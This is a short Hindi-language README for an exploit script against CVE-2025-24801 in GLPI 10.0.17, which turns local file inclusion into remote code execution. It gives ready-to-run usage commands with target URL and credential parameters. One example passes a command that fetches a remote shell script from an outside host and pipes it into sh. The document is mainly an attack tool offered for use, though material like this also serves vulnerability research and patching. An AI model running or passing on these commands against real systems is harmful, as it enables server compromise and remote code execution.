CVE-2025-24801

यह एक्सप्लॉइट GLPI 10.0.17 में Local File Inclusion (LFI) के माध्यम से Remote Code Execution (RCE) प्राप्त करने के लिए CVE-2025-24801 का उपयोग करता है। इस CVE का Proof of Concept (PoC) GLPI में इस कमजोरी के स्पष्टीकरण के साथ दिया गया है।

अवलोकन

कुछ एप्लिकेशन /glpi/ एंडपॉइंट को उजागर करते हैं (जैसे, http://172.16.11.130:8080/glpi/front/computer.form.php)। यदि लक्षित एप्लिकेशन में यह एंडपॉइंट शामिल है, तो इसे --url पैरामीटर में जोड़ना आवश्यक है (जैसे, --url http://172.16.11.130:8080/glpi)।

उपयोग

उपयोग का उदाहरण।

python3 cve-2025-24801.py --url http://172.16.11.130:8080 --username glpi --password password

यदि आप पहले ही इस एक्सप्लॉइट को चला चुके हैं और RCE को ट्रिगर कर चुके हैं, तो आप केवल कमांड निष्पादित करने के लिए --cmd पैरामीटर का उपयोग कर सकते हैं।

python3 cve-2025-24801.py --url http://172.16.11.130:8080 --username glpi --password password --cmd "curl http://10.0.10.235/shell.sh | sh"